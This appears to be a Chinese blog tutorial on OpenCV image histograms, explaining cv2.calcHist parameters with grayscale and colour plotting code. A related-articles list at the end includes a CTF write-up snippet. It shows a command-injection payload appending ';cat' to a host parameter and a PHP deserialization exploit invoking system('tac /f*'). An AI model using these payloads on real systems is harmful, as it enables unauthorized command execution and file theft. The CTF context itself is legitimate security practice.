OpenCV-直方图

server/2024/9/22 11:04:40/

文章目录

  • 一、直方图
    • 1.含义
    • 2.参数解释
  • 二、代码应用
    • 1.灰度图像的直方图
    • 2.绘制灰度图像直方图
    • 3.彩色图像直方图

一、直方图

1.含义

在OpenCV中,直方图是一种非常重要的工具,用于表示图像中像素强度的分布情况。直方图可以帮助我们了解图像的亮度、对比度等信息,并且在进行图像处理和图像分析时非常有用。

OpenCV提供了cv2.calcHist()函数来计算图像的直方图。这个函数非常灵活,可以计算单通道或多通道图像的直方图,并且可以指定直方图的bin范围。

2.参数解释

cv2.calcHist(images,channels,mask,histSize,range)

  • channels:表示传入图像的通道数,如果输入图像为灰度图,则为0,如果为彩色,[0][1][2]或者 [0, 1, 2] 来计算所有通道的直方图,对应BGR
  • mask:这是一个可选的掩码。如果指定了掩码,函数将只计算掩码非零区域的像素的直方图。这对于只关注图像的特定部分时非常有用。 如果未指定掩码,则计算整个图像的直方图。
  • histSize: 这表示直方图每个维度的大小。

二、代码应用

1.灰度图像的直方图

phone = cv2.imread('sj.png', cv2.IMREAD_GRAYSCALE)  
# 将图像转换为一维数组(虽然对于matplotlib.hist这不是必需的,但展示了如何操作)  
a = phone.ravel()  
# 绘制直方图  
plt.hist(a, bins=256)  # 使用matplotlib的hist函数绘制直方图  
plt.show()
  • cv2.imread(‘sj.png’,cv2.IMREAD_GRAYSCALE):读取名为’sj.png’的图像文件,并将其转换为灰度图像。

  • cv2.IMREAD_GRAYSCALE标志指定以灰度模式读取图像。

  • a = phone.ravel():将灰度图像(二维数组)转换为一维数组。虽然对于plt.hist()来说这不是必需的,因为plt.hist()可以直接处理二维数组(在这种情况下,它会将其视为一系列的值),但这一步展示了如何手动将图像数据展平。

  • plt.hist(a,bins=256):使用matplotlib的hist函数绘制一维数组a的直方图,其中bins=256指定了直方图的bin数量。这意味着直方图将像素值范围(0-255)分成256个等宽的区间,并计算每个区间中的像素数量。

  • plt.show():显示直方图。

2.绘制灰度图像直方图

phone_hist = cv2.calcHist([phone], [0], None, [16], [0, 256])  
plt.plot(phone_hist)  
plt.show()
  • cv2.calcHist([phone], [0], None, [16], [0, 256]):计算灰度图像phone的直方图。这里指定了16个bin(而不是通常的256个),这可能会导致直方图看起来不够详细。[0]指定了计算直方图的通道(对于灰度图像,只有一个通道)。
  • plt.plot(phone_hist):尝试使用matplotlib的plot函数绘制直方图,但这里有一个问题。cv2.calcHist返回的是一个二维数组(即使只有一个通道),其形状为(bins_count, channels_count)。因此,应该使用plt.plot(phone_hist[:, 0])来绘制第一个(也是唯一一个)通道的直方图。

3.彩色图像直方图

img = cv2.imread('sj.png')  
color = ('b', 'g', 'r')  
for i, col in enumerate(color):  histr = cv2.calcHist([img], [i], None, [256], [0, 256])  plt.plot(histr, color=col)  
plt.show()
  • cv2.imread(‘sj.png’):读取名为’sj.png’的图像文件,这次以默认模式(彩色)读取。循环遍历颜色元组(‘b’, ‘g’, ‘r’),为每个颜色通道计算直方图。
  • cv2.calcHist([img], [i], None, [256], [0, 256]):为彩色图像的每个颜色通道(蓝色、绿色、红色)计算直方图,每个通道使用256个bin。
  • plt.plot(histr, color=col):在相同的matplotlib窗口中绘制每个颜色通道的直方图,使用不同的颜色来区分它们。

http://www.ppmy.cn/server/120255.html

相关文章

简单水印通过python去除

简单水印通过python去除 先看效果,如果效果不是你需要的就可以不用浪费时间。 注意:这种主要还是对应的文字在水印上方的情况,同时最好不要有渐变水印否则可能最后输出的图片的水印还会有所残留,不过还是学习使用,相信…

MySQL之复合查询与内外连接

目录 一:基本查询 二:多表查询 三:自连接 四:子查询 1.单行子查询 2.多行子查询 3 多列子查询 4.在from子句中使用子查询 5. 合并查询 五:表的内外连接 1.内连接 2.外连接 一:基本查询 (1)查询工资高于500或岗位为MANAGER的雇员…

Semaphore UI --Ansible webui

1、安装python python下载地址 https://www.python.org/downloads/ 选好版本下载 wget https://www.python.org/ftp/python/3.11.9/Python-3.11.9.tar.xz安装编译工具 sudo dnf groupinstall "Development Tools"安装依赖包 dnf install bzip2-devel ncurses-deve…

ElementUI 快速入门:使用 Vue 脚手架搭建项目

文章目录 一 . ElementUI 的基本安装1.1 通过 Vue 脚手架创建项目1.2 在 vue 脚手架中安装 ElementUI1.3 编写页面 ElementUI 是 Vue.js 的强大 UI 框架,让前端界面开发变得简单高效。本教程将带你从安装到实战,快速掌握 ElementUI 的核心技巧。 核心内容…

【SQL】NVL函数的用法和MySQL中有什么不同

一、在Oracle数据库中,NVL函数的用法和MySQL中有什么不同? 在Oracle数据库中,NVL 函数用于将 NULL 值替换为指定的值。如果第一个参数不是 NULL,NVL 函数返回第一个参数的值;如果第一个参数是 NULL,它返回…

蛋白质SCOP数据库介绍

SCOP(Structural Classification of Proteins)数据库和CATH数据库是两种常用的蛋白质结构分类系统,它们通过不同的方法对已知的蛋白质三维结构进行分类,帮助研究人员理解蛋白质的进化关系和功能。 SCOP数据库简介 SCOP| Structural Classification of Proteins SCOP(Str…

【Web】PolarCTF2024秋季个人挑战赛wp

EZ_Host 一眼丁真命令注入 payload: ?host127.0.0.1;catf* 序列一下 exp: <?phpclass Polar{public $lt;public $b; } $pnew Polar(); $p->lt"system"; $p->b"tac /f*"; echo serialize($p);payload: xO:5:"Polar":2:{s:2:"…

【系统架构设计师】设计模式的分类

设计模式概述 设计模式(Design Pattern)是软件开发中的最佳实践,旨在解决常见的设计问题。它们可以分为三大类:创建型模式、结构型模式、行为型模式,每个类别都提供了解决特定问题的模式。下面将详细介绍每个类别及其包含的所有设计模式,并提供简要的说明,帮助区分不同…